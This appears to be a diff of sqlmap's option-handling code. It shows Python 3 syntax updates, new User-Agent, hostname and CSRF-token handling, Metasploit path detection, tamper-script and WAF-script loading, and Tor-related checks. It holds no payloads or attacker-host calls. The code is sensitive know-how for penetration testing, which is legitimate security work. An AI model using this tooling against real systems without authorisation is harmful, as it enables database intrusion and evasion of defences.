from lib.core.settings import DEFAULT_PAGE_ENCODING from lib.core.settings import DEFAULT_PAGE_ENCODING
from lib.core.settings import DEFAULT_TOR_HTTP_PORTS from lib.core.settings import DEFAULT_TOR_HTTP_PORTS
from lib.core.settings import DEFAULT_TOR_SOCKS_PORTS from lib.core.settings import DEFAULT_TOR_SOCKS_PORTS
from lib.core.settings import DEFAULT_USER_AGENT
from lib.core.settings import DUMMY_URL from lib.core.settings import DUMMY_URL
from lib.core.settings import INJECT_HERE_REGEX
from lib.core.settings import IS_WIN from lib.core.settings import IS_WIN
from lib.core.settings import KB_CHARS_BOUNDARY_CHAR from lib.core.settings import KB_CHARS_BOUNDARY_CHAR
from lib.core.settings import KB_CHARS_LOW_FREQUENCY_ALPHABET from lib.core.settings import KB_CHARS_LOW_FREQUENCY_ALPHABET
@@ -114,7 +117,6 @@ from lib.core.settings import MAX_NUMBER_OF_THREADS
from lib.core.settings import NULL from lib.core.settings import NULL
from lib.core.settings import PARAMETER_SPLITTING_REGEX from lib.core.settings import PARAMETER_SPLITTING_REGEX
from lib.core.settings import PRECONNECT_CANDIDATE_TIMEOUT from lib.core.settings import PRECONNECT_CANDIDATE_TIMEOUT
from lib.core.settings import SITE
from lib.core.settings import SOCKET_PRE_CONNECT_QUEUE_SIZE from lib.core.settings import SOCKET_PRE_CONNECT_QUEUE_SIZE
from lib.core.settings import SQLMAP_ENVIRONMENT_PREFIX from lib.core.settings import SQLMAP_ENVIRONMENT_PREFIX
from lib.core.settings import SUPPORTED_DBMS from lib.core.settings import SUPPORTED_DBMS
@@ -124,7 +126,6 @@ from lib.core.settings import UNICODE_ENCODING
from lib.core.settings import UNION_CHAR_REGEX from lib.core.settings import UNION_CHAR_REGEX
from lib.core.settings import UNKNOWN_DBMS_VERSION from lib.core.settings import UNKNOWN_DBMS_VERSION
from lib.core.settings import URI_INJECTABLE_REGEX from lib.core.settings import URI_INJECTABLE_REGEX
from lib.core.settings import VERSION_STRING
from lib.core.threads import getCurrentThreadData from lib.core.threads import getCurrentThreadData
from lib.core.threads import setDaemon from lib.core.threads import setDaemon
from lib.core.update import update from lib.core.update import update
@@ -195,7 +196,7 @@ def _loadQueries():
tree = ElementTree() tree = ElementTree()
try: try:
tree.parse(paths.QUERIES_XML) tree.parse(paths.QUERIES_XML)
except Exception, ex: except Exception as ex:
errMsg = "something appears to be wrong with " errMsg = "something appears to be wrong with "
errMsg += "the file '%s' ('%s'). Please make " % (paths.QUERIES_XML, getSafeExString(ex)) errMsg += "the file '%s' ('%s'). Please make " % (paths.QUERIES_XML, getSafeExString(ex))
errMsg += "sure that you haven't made any changes to it" errMsg += "sure that you haven't made any changes to it"
@@ -225,10 +226,11 @@ def _setMultipleTargets():
if os.path.isfile(conf.logFile): if os.path.isfile(conf.logFile):
for target in parseRequestFile(conf.logFile): for target in parseRequestFile(conf.logFile):
url = target[0] url, _, data, _, _ = target
if url not in seen: key = re.sub(r"(\w+=)[^%s ]*" % (conf.paramDel or DEFAULT_GET_POST_DELIMITER), r"\g<1>", "%s %s" % (url, data))
if key not in seen:
kb.targets.add(target) kb.targets.add(target)
seen.add(url) seen.add(key)
elif os.path.isdir(conf.logFile): elif os.path.isdir(conf.logFile):
files = os.listdir(conf.logFile) files = os.listdir(conf.logFile)
@@ -239,10 +241,11 @@ def _setMultipleTargets():
continue continue
for target in parseRequestFile(os.path.join(conf.logFile, reqFile)): for target in parseRequestFile(os.path.join(conf.logFile, reqFile)):
url = target[0] url, _, data, _, _ = target
if url not in seen: key = re.sub(r"(\w+=)[^%s ]*" % (conf.paramDel or DEFAULT_GET_POST_DELIMITER), r"\g<1>", "%s %s" % (url, data))
if key not in seen:
kb.targets.add(target) kb.targets.add(target)
seen.add(url) seen.add(key)
else: else:
errMsg = "the specified list of targets is not a file " errMsg = "the specified list of targets is not a file "
@@ -312,7 +315,7 @@ def _setRequestFromFile():
infoMsg = "parsing second-order HTTP request from '%s'" % conf.secondReq infoMsg = "parsing second-order HTTP request from '%s'" % conf.secondReq
logger.info(infoMsg) logger.info(infoMsg)
target = parseRequestFile(conf.secondReq, False).next() target = next(parseRequestFile(conf.secondReq, False))
kb.secondReq = target kb.secondReq = target
def _setCrawler(): def _setCrawler():
@@ -334,7 +337,7 @@ def _setCrawler():
if conf.verbose in (1, 2): if conf.verbose in (1, 2):
status = "%d/%d links visited (%d%%)" % (i + 1, len(targets), round(100.0 * (i + 1) / len(targets))) status = "%d/%d links visited (%d%%)" % (i + 1, len(targets), round(100.0 * (i + 1) / len(targets)))
dataToStdout("\r[%s] [INFO] %s" % (time.strftime("%X"), status), True) dataToStdout("\r[%s] [INFO] %s" % (time.strftime("%X"), status), True)
except Exception, ex: except Exception as ex:
errMsg = "problem occurred while crawling at '%s' ('%s')" % (target, getSafeExString(ex)) errMsg = "problem occurred while crawling at '%s' ('%s')" % (target, getSafeExString(ex))
logger.error(errMsg) logger.error(errMsg)
@@ -470,7 +473,7 @@ def _findPageForms():
dataToStdout("\r[%s] [INFO] %s" % (time.strftime("%X"), status), True) dataToStdout("\r[%s] [INFO] %s" % (time.strftime("%X"), status), True)
except KeyboardInterrupt: except KeyboardInterrupt:
break break
except Exception, ex: except Exception as ex:
errMsg = "problem occurred while searching for forms at '%s' ('%s')" % (target, getSafeExString(ex)) errMsg = "problem occurred while searching for forms at '%s' ('%s')" % (target, getSafeExString(ex))
logger.error(errMsg) logger.error(errMsg)
@@ -545,11 +548,11 @@ def _setMetasploit():
if conf.msfPath: if conf.msfPath:
for path in (conf.msfPath, os.path.join(conf.msfPath, "bin")): for path in (conf.msfPath, os.path.join(conf.msfPath, "bin")):
if any(os.path.exists(normalizePath(os.path.join(path, _))) for _ in ("msfcli", "msfconsole")): if any(os.path.exists(normalizePath(os.path.join(path, "%s%s" % (_, ".bat" if IS_WIN else "")))) for _ in ("msfcli", "msfconsole")):
msfEnvPathExists = True msfEnvPathExists = True
if all(os.path.exists(normalizePath(os.path.join(path, _))) for _ in ("msfvenom",)): if all(os.path.exists(normalizePath(os.path.join(path, "%s%s" % (_, ".bat" if IS_WIN else "")))) for _ in ("msfvenom",)):
kb.oldMsf = False kb.oldMsf = False
elif all(os.path.exists(normalizePath(os.path.join(path, _))) for _ in ("msfencode", "msfpayload")): elif all(os.path.exists(normalizePath(os.path.join(path, "%s%s" % (_, ".bat" if IS_WIN else "")))) for _ in ("msfencode", "msfpayload")):
kb.oldMsf = True kb.oldMsf = True
else: else:
msfEnvPathExists = False msfEnvPathExists = False
@@ -584,11 +587,11 @@ def _setMetasploit():
for envPath in envPaths: for envPath in envPaths:
envPath = envPath.replace(";", "") envPath = envPath.replace(";", "")
if any(os.path.exists(normalizePath(os.path.join(envPath, _))) for _ in ("msfcli", "msfconsole")): if any(os.path.exists(normalizePath(os.path.join(envPath, "%s%s" % (_, ".bat" if IS_WIN else "")))) for _ in ("msfcli", "msfconsole")):
msfEnvPathExists = True msfEnvPathExists = True
if all(os.path.exists(normalizePath(os.path.join(envPath, _))) for _ in ("msfvenom",)): if all(os.path.exists(normalizePath(os.path.join(envPath, "%s%s" % (_, ".bat" if IS_WIN else "")))) for _ in ("msfvenom",)):
kb.oldMsf = False kb.oldMsf = False
elif all(os.path.exists(normalizePath(os.path.join(envPath, _))) for _ in ("msfencode", "msfpayload")): elif all(os.path.exists(normalizePath(os.path.join(envPath, "%s%s" % (_, ".bat" if IS_WIN else "")))) for _ in ("msfencode", "msfpayload")):
kb.oldMsf = True kb.oldMsf = True
else: else:
msfEnvPathExists = False msfEnvPathExists = False
@@ -767,7 +770,7 @@ def _setTamperingFunctions():
try: try:
module = __import__(filename[:-3].encode(sys.getfilesystemencoding() or UNICODE_ENCODING)) module = __import__(filename[:-3].encode(sys.getfilesystemencoding() or UNICODE_ENCODING))
except Exception, ex: except Exception as ex:
raise SqlmapSyntaxException("cannot import tamper module '%s' (%s)" % (filename[:-3], getSafeExString(ex))) raise SqlmapSyntaxException("cannot import tamper module '%s' (%s)" % (filename[:-3], getSafeExString(ex)))
priority = PRIORITY.NORMAL if not hasattr(module, "__priority__") else module.__priority__ priority = PRIORITY.NORMAL if not hasattr(module, "__priority__") else module.__priority__
@@ -800,7 +803,7 @@ def _setTamperingFunctions():
elif name == "dependencies": elif name == "dependencies":
try: try:
function() function()
except Exception, ex: except Exception as ex:
errMsg = "error occurred while checking dependencies " errMsg = "error occurred while checking dependencies "
errMsg += "for tamper module '%s' ('%s')" % (filename[:-3], getSafeExString(ex)) errMsg += "for tamper module '%s' ('%s')" % (filename[:-3], getSafeExString(ex))
raise SqlmapGenericException(errMsg) raise SqlmapGenericException(errMsg)
@@ -824,7 +827,7 @@ def _setTamperingFunctions():
def _setWafFunctions(): def _setWafFunctions():
""" """
Loads WAF/IPS/IDS detecting functions from script(s) Loads WAF/IPS detecting functions from script(s)
""" """
if conf.identifyWaf: if conf.identifyWaf:
@@ -845,8 +848,8 @@ def _setWafFunctions():
if filename[:-3] in sys.modules: if filename[:-3] in sys.modules:
del sys.modules[filename[:-3]] del sys.modules[filename[:-3]]
module = __import__(filename[:-3].encode(sys.getfilesystemencoding() or UNICODE_ENCODING)) module = __import__(filename[:-3].encode(sys.getfilesystemencoding() or UNICODE_ENCODING))
except ImportError, msg: except ImportError as ex:
raise SqlmapSyntaxException("cannot import WAF script '%s' (%s)" % (filename[:-3], msg)) raise SqlmapSyntaxException("cannot import WAF script '%s' (%s)" % (filename[:-3], getSafeExString(ex)))
_ = dict(inspect.getmembers(module)) _ = dict(inspect.getmembers(module))
if "detect" not in _: if "detect" not in _:
@@ -895,6 +898,12 @@ def _setSocketPreConnect():
family, type, proto, address = key family, type, proto, address = key
s = socket.socket(family, type, proto) s = socket.socket(family, type, proto)
s._connect(address) s._connect(address)
try:
if type == socket.SOCK_STREAM:
# Reference: https://www.techrepublic.com/article/tcp-ip-options-for-high-performance-data-transmission/
s.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
except:
pass
with kb.locks.socket: with kb.locks.socket:
socket._ready[key].append((s._sock, time.time())) socket._ready[key].append((s._sock, time.time()))
except KeyboardInterrupt: except KeyboardInterrupt:
@@ -967,7 +976,7 @@ def _setHTTPHandlers():
try: try:
_ = urlparse.urlsplit(conf.proxy) _ = urlparse.urlsplit(conf.proxy)
except Exception, ex: except Exception as ex:
errMsg = "invalid proxy address '%s' ('%s')" % (conf.proxy, getSafeExString(ex)) errMsg = "invalid proxy address '%s' ('%s')" % (conf.proxy, getSafeExString(ex))
raise SqlmapSyntaxException(errMsg) raise SqlmapSyntaxException(errMsg)
@@ -1073,7 +1082,7 @@ def _setSafeVisit():
key, value = line.split(':', 1) key, value = line.split(':', 1)
value = value.strip() value = value.strip()
kb.safeReq.headers[key] = value kb.safeReq.headers[key] = value
if key == HTTP_HEADER.HOST: if key.upper() == HTTP_HEADER.HOST.upper():
if not value.startswith("http"): if not value.startswith("http"):
scheme = "http" scheme = "http"
if value.endswith(":443"): if value.endswith(":443"):
@@ -1188,7 +1197,7 @@ def _setHTTPAuthentication():
elif authType == AUTH_TYPE.NTLM: elif authType == AUTH_TYPE.NTLM:
regExp = "^(.*\\\\.*):(.*?)$" regExp = "^(.*\\\\.*):(.*?)$"
errMsg = "HTTP NTLM authentication credentials value must " errMsg = "HTTP NTLM authentication credentials value must "
errMsg += "be in format 'DOMAIN\username:password'" errMsg += "be in format 'DOMAIN\\username:password'"
elif authType == AUTH_TYPE.PKI: elif authType == AUTH_TYPE.PKI:
errMsg = "HTTP PKI authentication require " errMsg = "HTTP PKI authentication require "
errMsg += "usage of option `--auth-pki`" errMsg += "usage of option `--auth-pki`"
@@ -1258,14 +1267,6 @@ def _setHTTPExtraHeaders():
# Reference: http://stackoverflow.com/a/1383359 # Reference: http://stackoverflow.com/a/1383359
conf.httpHeaders.append((HTTP_HEADER.CACHE_CONTROL, "no-cache")) conf.httpHeaders.append((HTTP_HEADER.CACHE_CONTROL, "no-cache"))
def _defaultHTTPUserAgent():
"""
@return: default sqlmap HTTP User-Agent header
@rtype: C{str}
"""
return "%s (%s)" % (VERSION_STRING, SITE)
def _setHTTPUserAgent(): def _setHTTPUserAgent():
""" """
Set the HTTP User-Agent header. Set the HTTP User-Agent header.
@@ -1277,40 +1278,44 @@ def _setHTTPUserAgent():
file choosed as user option file choosed as user option
""" """
debugMsg = "setting the HTTP User-Agent header"
logger.debug(debugMsg)
if conf.mobile: if conf.mobile:
message = "which smartphone do you want sqlmap to imitate " if conf.randomAgent:
message += "through HTTP User-Agent header?\n" _ = random.sample([_[1] for _ in getPublicTypeMembers(MOBILES, True)], 1)[0]
items = sorted(getPublicTypeMembers(MOBILES, True)) conf.httpHeaders.append((HTTP_HEADER.USER_AGENT, _))
else:
message = "which smartphone do you want sqlmap to imitate "
message += "through HTTP User-Agent header?\n"
items = sorted(getPublicTypeMembers(MOBILES, True))
for count in xrange(len(items)): for count in xrange(len(items)):
item = items[count] item = items[count]
message += "[%d] %s%s\n" % (count + 1, item[0], " (default)" if item == MOBILES.IPHONE else "") message += "[%d] %s%s\n" % (count + 1, item[0], " (default)" if item == MOBILES.IPHONE else "")
test = readInput(message.rstrip('\n'), default=items.index(MOBILES.IPHONE) + 1) test = readInput(message.rstrip('\n'), default=items.index(MOBILES.IPHONE) + 1)
try: try:
item = items[int(test) - 1] item = items[int(test) - 1]
except: except:
item = MOBILES.IPHONE item = MOBILES.IPHONE
conf.httpHeaders.append((HTTP_HEADER.USER_AGENT, item[1])) conf.httpHeaders.append((HTTP_HEADER.USER_AGENT, item[1]))
elif conf.agent: elif conf.agent:
debugMsg = "setting the HTTP User-Agent header"
logger.debug(debugMsg)
conf.httpHeaders.append((HTTP_HEADER.USER_AGENT, conf.agent)) conf.httpHeaders.append((HTTP_HEADER.USER_AGENT, conf.agent))
elif not conf.randomAgent: elif not conf.randomAgent:
_ = True _ = True
for header, _ in conf.httpHeaders: for header, _ in conf.httpHeaders:
if header == HTTP_HEADER.USER_AGENT: if header.upper() == HTTP_HEADER.USER_AGENT.upper():
_ = False _ = False
break break
if _: if _:
conf.httpHeaders.append((HTTP_HEADER.USER_AGENT, _defaultHTTPUserAgent())) conf.httpHeaders.append((HTTP_HEADER.USER_AGENT, DEFAULT_USER_AGENT))
else: else:
if not kb.userAgents: if not kb.userAgents:
@@ -1325,10 +1330,10 @@ def _setHTTPUserAgent():
warnMsg += "file '%s'" % paths.USER_AGENTS warnMsg += "file '%s'" % paths.USER_AGENTS
logger.warn(warnMsg) logger.warn(warnMsg)
conf.httpHeaders.append((HTTP_HEADER.USER_AGENT, _defaultHTTPUserAgent())) conf.httpHeaders.append((HTTP_HEADER.USER_AGENT, DEFAULT_USER_AGENT))
return return
userAgent = random.sample(kb.userAgents or [_defaultHTTPUserAgent()], 1)[0] userAgent = random.sample(kb.userAgents or [DEFAULT_USER_AGENT], 1)[0]
infoMsg = "fetched random HTTP User-Agent header value '%s' from " % userAgent infoMsg = "fetched random HTTP User-Agent header value '%s' from " % userAgent
infoMsg += "file '%s'" % paths.USER_AGENTS infoMsg += "file '%s'" % paths.USER_AGENTS
@@ -1369,6 +1374,19 @@ def _setHTTPCookies():
conf.httpHeaders.append((HTTP_HEADER.COOKIE, conf.cookie)) conf.httpHeaders.append((HTTP_HEADER.COOKIE, conf.cookie))
def _setHostname():
"""
Set value conf.hostname
"""
if conf.url:
try:
conf.hostname = urlparse.urlsplit(conf.url).netloc.split(':')[0]
except ValueError as ex:
errMsg = "problem occurred while "
errMsg += "parsing an URL '%s' ('%s')" % (conf.url, getSafeExString(ex))
raise SqlmapDataException(errMsg)
def _setHTTPTimeout(): def _setHTTPTimeout():
""" """
Set the HTTP timeout Set the HTTP timeout
@@ -1399,6 +1417,41 @@ def _checkDependencies():
if conf.dependencies: if conf.dependencies:
checkDependencies() checkDependencies()
def _createHomeDirectories():
"""
Creates directories inside sqlmap's home directory
"""
for context in "output", "history":
directory = paths["SQLMAP_%s_PATH" % context.upper()]
try:
if not os.path.isdir(directory):
os.makedirs(directory)
_ = os.path.join(directory, randomStr())
open(_, "w+b").close()
os.remove(_)
if conf.outputDir and context == "output":
warnMsg = "using '%s' as the %s directory" % (directory, context)
logger.warn(warnMsg)
except (OSError, IOError) as ex:
try:
tempDir = tempfile.mkdtemp(prefix="sqlmap%s" % context)
except Exception as _:
errMsg = "unable to write to the temporary directory ('%s'). " % _
errMsg += "Please make sure that your disk is not full and "
errMsg += "that you have sufficient write permissions to "
errMsg += "create temporary files and/or directories"
raise SqlmapSystemException(errMsg)
warnMsg = "unable to %s %s directory " % ("create" if not os.path.isdir(directory) else "write to the", context)
warnMsg += "'%s' (%s). " % (directory, getUnicode(ex))
warnMsg += "Using temporary directory '%s' instead" % getUnicode(tempDir)
logger.warn(warnMsg)
paths["SQLMAP_%s_PATH" % context.upper()] = tempDir
def _createTemporaryDirectory(): def _createTemporaryDirectory():
""" """
Creates temporary directory for this run. Creates temporary directory for this run.
@@ -1418,7 +1471,7 @@ def _createTemporaryDirectory():
warnMsg = "using '%s' as the temporary directory" % conf.tmpDir warnMsg = "using '%s' as the temporary directory" % conf.tmpDir
logger.warn(warnMsg) logger.warn(warnMsg)
except (OSError, IOError), ex: except (OSError, IOError) as ex:
errMsg = "there has been a problem while accessing " errMsg = "there has been a problem while accessing "
errMsg += "temporary directory location(s) ('%s')" % getSafeExString(ex) errMsg += "temporary directory location(s) ('%s')" % getSafeExString(ex)
raise SqlmapSystemException(errMsg) raise SqlmapSystemException(errMsg)
@@ -1426,7 +1479,7 @@ def _createTemporaryDirectory():
try: try:
if not os.path.isdir(tempfile.gettempdir()): if not os.path.isdir(tempfile.gettempdir()):
os.makedirs(tempfile.gettempdir()) os.makedirs(tempfile.gettempdir())
except Exception, ex: except Exception as ex:
warnMsg = "there has been a problem while accessing " warnMsg = "there has been a problem while accessing "
warnMsg += "system's temporary directory location(s) ('%s'). Please " % getSafeExString(ex) warnMsg += "system's temporary directory location(s) ('%s'). Please " % getSafeExString(ex)
warnMsg += "make sure that there is enough disk space left. If problem persists, " warnMsg += "make sure that there is enough disk space left. If problem persists, "
@@ -1445,7 +1498,7 @@ def _createTemporaryDirectory():
if not os.path.isdir(tempfile.tempdir): if not os.path.isdir(tempfile.tempdir):
try: try:
os.makedirs(tempfile.tempdir) os.makedirs(tempfile.tempdir)
except Exception, ex: except Exception as ex:
errMsg = "there has been a problem while setting " errMsg = "there has been a problem while setting "
errMsg += "temporary directory location ('%s')" % getSafeExString(ex) errMsg += "temporary directory location ('%s')" % getSafeExString(ex)
raise SqlmapSystemException(errMsg) raise SqlmapSystemException(errMsg)
@@ -1488,11 +1541,8 @@ def _cleanupOptions():
else: else:
conf.rParam = [] conf.rParam = []
if conf.paramDel and '\\' in conf.paramDel: if conf.paramDel:
try: conf.paramDel = decodeStringEscape(conf.paramDel)
conf.paramDel = conf.paramDel.decode("string_escape")
except ValueError:
pass
if conf.skip: if conf.skip:
conf.skip = conf.skip.replace(" ", "") conf.skip = conf.skip.replace(" ", "")
@@ -1508,6 +1558,8 @@ def _cleanupOptions():
if conf.url: if conf.url:
conf.url = conf.url.strip() conf.url = conf.url.strip()
if not re.search(r"\A\w+://", conf.url):
conf.url = "http://%s" % conf.url
if conf.fileRead: if conf.fileRead:
conf.fileRead = ntToPosixSlashes(normalizePath(conf.fileRead)) conf.fileRead = ntToPosixSlashes(normalizePath(conf.fileRead))
@@ -1533,14 +1585,6 @@ def _cleanupOptions():
if conf.optimize: if conf.optimize:
setOptimize() setOptimize()
match = re.search(INJECT_HERE_REGEX, conf.data or "")
if match:
kb.customInjectionMark = match.group(0)
match = re.search(INJECT_HERE_REGEX, conf.url or "")
if match:
kb.customInjectionMark = match.group(0)
if conf.os: if conf.os:
conf.os = conf.os.capitalize() conf.os = conf.os.capitalize()
@@ -1565,6 +1609,23 @@ def _cleanupOptions():
except re.error: except re.error:
conf.testFilter = re.escape(conf.testFilter) conf.testFilter = re.escape(conf.testFilter)
if conf.csrfToken:
original = conf.csrfToken
try:
re.compile(conf.csrfToken)
if re.escape(conf.csrfToken) != conf.csrfToken:
message = "provided value for option '--csrf-token' is a regular expression? [Y/n] "
if not readInput(message, default='Y', boolean=True):
conf.csrfToken = re.escape(conf.csrfToken)
except re.error:
conf.csrfToken = re.escape(conf.csrfToken)
finally:
class _(unicode):
pass
conf.csrfToken = _(conf.csrfToken)
conf.csrfToken._original = original
if conf.testSkip: if conf.testSkip:
conf.testSkip = conf.testSkip.strip('*+') conf.testSkip = conf.testSkip.strip('*+')
conf.testSkip = re.sub(r"([^.])([*+])", r"\g<1>.\g<2>", conf.testSkip) conf.testSkip = re.sub(r"([^.])([*+])", r"\g<1>.\g<2>", conf.testSkip)
@@ -1593,7 +1654,7 @@ def _cleanupOptions():
conf.code = int(conf.code) conf.code = int(conf.code)
if conf.csvDel: if conf.csvDel:
conf.csvDel = conf.csvDel.decode("string_escape") # e.g. '\\t' -> '\t' conf.csvDel = decodeStringEscape(conf.csvDel)
if conf.torPort and isinstance(conf.torPort, basestring) and conf.torPort.isdigit(): if conf.torPort and isinstance(conf.torPort, basestring) and conf.torPort.isdigit():
conf.torPort = int(conf.torPort) conf.torPort = int(conf.torPort)
@@ -1606,18 +1667,13 @@ def _cleanupOptions():
setPaths(paths.SQLMAP_ROOT_PATH) setPaths(paths.SQLMAP_ROOT_PATH)
if conf.string: if conf.string:
try: conf.string = decodeStringEscape(conf.string)
conf.string = conf.string.decode("unicode_escape")
except:
charset = string.whitespace.replace(" ", "")
for _ in charset:
conf.string = conf.string.replace(_.encode("string_escape"), _)
if conf.getAll: if conf.getAll:
map(lambda _: conf.__setitem__(_, True), WIZARD.ALL) map(lambda _: conf.__setitem__(_, True), WIZARD.ALL)
if conf.noCast: if conf.noCast:
for _ in DUMP_REPLACEMENTS.keys(): for _ in list(DUMP_REPLACEMENTS.keys()):
del DUMP_REPLACEMENTS[_] del DUMP_REPLACEMENTS[_]
if conf.dumpFormat: if conf.dumpFormat:
@@ -1713,6 +1769,7 @@ def _setKnowledgeBaseAttributes(flushAll=True):
kb.absFilePaths = set() kb.absFilePaths = set()
kb.adjustTimeDelay = None kb.adjustTimeDelay = None
kb.alerted = False kb.alerted = False
kb.aliasName = randomStr()
kb.alwaysRefresh = None kb.alwaysRefresh = None
kb.arch = None kb.arch = None
kb.authHeader = None kb.authHeader = None
@@ -1805,7 +1862,6 @@ def _setKnowledgeBaseAttributes(flushAll=True):
kb.matchRatio = None kb.matchRatio = None
kb.maxConnectionsFlag = False kb.maxConnectionsFlag = False
kb.mergeCookies = None kb.mergeCookies = None
kb.multiThreadMode = False
kb.negativeLogic = False kb.negativeLogic = False
kb.nullConnection = None kb.nullConnection = None
kb.oldMsf = None kb.oldMsf = None
@@ -1852,12 +1908,12 @@ def _setKnowledgeBaseAttributes(flushAll=True):
kb.safeCharEncode = False kb.safeCharEncode = False
kb.safeReq = AttribDict() kb.safeReq = AttribDict()
kb.secondReq = None kb.secondReq = None
kb.serverHeader = None
kb.singleLogFlags = set() kb.singleLogFlags = set()
kb.skipSeqMatcher = False kb.skipSeqMatcher = False
kb.reduceTests = None kb.reduceTests = None
kb.tlsSNI = {} kb.tlsSNI = {}
kb.stickyDBMS = False kb.stickyDBMS = False
kb.stickyLevel = None
kb.storeCrawlingChoice = None kb.storeCrawlingChoice = None
kb.storeHashesChoice = None kb.storeHashesChoice = None
kb.suppressResumeInfo = False kb.suppressResumeInfo = False
@@ -2111,9 +2167,9 @@ def _setDNSServer():
try: try:
conf.dnsServer = DNSServer() conf.dnsServer = DNSServer()
conf.dnsServer.run() conf.dnsServer.run()
except socket.error, msg: except socket.error as ex:
errMsg = "there was an error while setting up " errMsg = "there was an error while setting up "
errMsg += "DNS server instance ('%s')" % msg errMsg += "DNS server instance ('%s')" % getSafeExString(ex)
raise SqlmapGenericException(errMsg) raise SqlmapGenericException(errMsg)
else: else:
errMsg = "you need to run sqlmap as an administrator " errMsg = "you need to run sqlmap as an administrator "
@@ -2249,6 +2305,10 @@ def _basicOptionValidation():
errMsg = "option '-d' is incompatible with option '-u' ('--url')" errMsg = "option '-d' is incompatible with option '-u' ('--url')"
raise SqlmapSyntaxException(errMsg) raise SqlmapSyntaxException(errMsg)
if conf.direct and conf.dbms:
errMsg = "option '-d' is incompatible with option '--dbms'"
raise SqlmapSyntaxException(errMsg)
if conf.identifyWaf and conf.skipWaf: if conf.identifyWaf and conf.skipWaf:
errMsg = "switch '--identify-waf' is incompatible with switch '--skip-waf'" errMsg = "switch '--identify-waf' is incompatible with switch '--skip-waf'"
raise SqlmapSyntaxException(errMsg) raise SqlmapSyntaxException(errMsg)
@@ -2277,7 +2337,7 @@ def _basicOptionValidation():
errMsg = "option '--not-string' is incompatible with switch '--null-connection'" errMsg = "option '--not-string' is incompatible with switch '--null-connection'"
raise SqlmapSyntaxException(errMsg) raise SqlmapSyntaxException(errMsg)
if conf.notString and conf.nullConnection: if conf.tor and conf.osPwn:
errMsg = "option '--tor' is incompatible with switch '--os-pwn'" errMsg = "option '--tor' is incompatible with switch '--os-pwn'"
raise SqlmapSyntaxException(errMsg) raise SqlmapSyntaxException(errMsg)
@@ -2300,14 +2360,14 @@ def _basicOptionValidation():
if conf.regexp: if conf.regexp:
try: try:
re.compile(conf.regexp) re.compile(conf.regexp)
except Exception, ex: except Exception as ex:
errMsg = "invalid regular expression '%s' ('%s')" % (conf.regexp, getSafeExString(ex)) errMsg = "invalid regular expression '%s' ('%s')" % (conf.regexp, getSafeExString(ex))
raise SqlmapSyntaxException(errMsg) raise SqlmapSyntaxException(errMsg)
if conf.crawlExclude: if conf.crawlExclude:
try: try:
re.compile(conf.crawlExclude) re.compile(conf.crawlExclude)
except Exception, ex: except Exception as ex:
errMsg = "invalid regular expression '%s' ('%s')" % (conf.crawlExclude, getSafeExString(ex)) errMsg = "invalid regular expression '%s' ('%s')" % (conf.crawlExclude, getSafeExString(ex))
raise SqlmapSyntaxException(errMsg) raise SqlmapSyntaxException(errMsg)
@@ -2396,8 +2456,14 @@ def _basicOptionValidation():
raise SqlmapSyntaxException(errMsg) raise SqlmapSyntaxException(errMsg)
if conf.skip and conf.testParameter: if conf.skip and conf.testParameter:
errMsg = "option '--skip' is incompatible with option '-p'" if intersect(conf.skip, conf.testParameter):
raise SqlmapSyntaxException(errMsg) errMsg = "option '--skip' is incompatible with option '-p'"
raise SqlmapSyntaxException(errMsg)
if conf.rParam and conf.testParameter:
if intersect(conf.rParam, conf.testParameter):
errMsg = "option '--randomize' is incompatible with option '-p'"
raise SqlmapSyntaxException(errMsg)
if conf.mobile and conf.agent: if conf.mobile and conf.agent:
errMsg = "switch '--mobile' is incompatible with option '--user-agent'" errMsg = "switch '--mobile' is incompatible with option '--user-agent'"
@@ -2415,6 +2481,10 @@ def _basicOptionValidation():
errMsg = "value for option '--union-char' must be an alpha-numeric value (e.g. 1)" errMsg = "value for option '--union-char' must be an alpha-numeric value (e.g. 1)"
raise SqlmapSyntaxException(errMsg) raise SqlmapSyntaxException(errMsg)
if conf.hashFile and any((conf.direct, conf.url, conf.logFile, conf.bulkFile, conf.googleDork, conf.configFile, conf.requestFile, conf.updateAll, conf.smokeTest, conf.liveTest, conf.wizard, conf.dependencies, conf.purge, conf.sitemapUrl, conf.listTampers)):
errMsg = "option '--crack' should be used as a standalone"
raise SqlmapSyntaxException(errMsg)
if isinstance(conf.uCols, basestring): if isinstance(conf.uCols, basestring):
if not conf.uCols.isdigit() and ("-" not in conf.uCols or len(conf.uCols.split("-")) != 2): if not conf.uCols.isdigit() and ("-" not in conf.uCols or len(conf.uCols.split("-")) != 2):
errMsg = "value for option '--union-cols' must be a range with hyphon " errMsg = "value for option '--union-cols' must be a range with hyphon "
@@ -2469,6 +2539,7 @@ def init():
_cleanupEnvironment() _cleanupEnvironment()
_purge() _purge()
_checkDependencies() _checkDependencies()
_createHomeDirectories()
_createTemporaryDirectory() _createTemporaryDirectory()
_basicOptionValidation() _basicOptionValidation()
_setProxyList() _setProxyList()
@@ -2484,10 +2555,10 @@ def init():
_resolveCrossReferences() _resolveCrossReferences()
_checkWebSocket() _checkWebSocket()
parseTargetUrl()
parseTargetDirect() parseTargetDirect()
if any((conf.url, conf.logFile, conf.bulkFile, conf.sitemapUrl, conf.requestFile, conf.googleDork, conf.liveTest)): if any((conf.url, conf.logFile, conf.bulkFile, conf.sitemapUrl, conf.requestFile, conf.googleDork, conf.liveTest)):
_setHostname()
_setHTTPTimeout() _setHTTPTimeout()
_setHTTPExtraHeaders() _setHTTPExtraHeaders()
_setHTTPCookies() _setHTTPCookies()
+2 -1
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
@@ -211,6 +211,7 @@ optDict = {
"hexConvert": "boolean", "hexConvert": "boolean",
"outputDir": "string", "outputDir": "string",
"parseErrors": "boolean", "parseErrors": "boolean",
"repair": "boolean",
"saveConfig": "string", "saveConfig": "string",
"scope": "string", "scope": "string",
"testFilter": "string", "testFilter": "string",
+1 -1
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
+4 -4
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
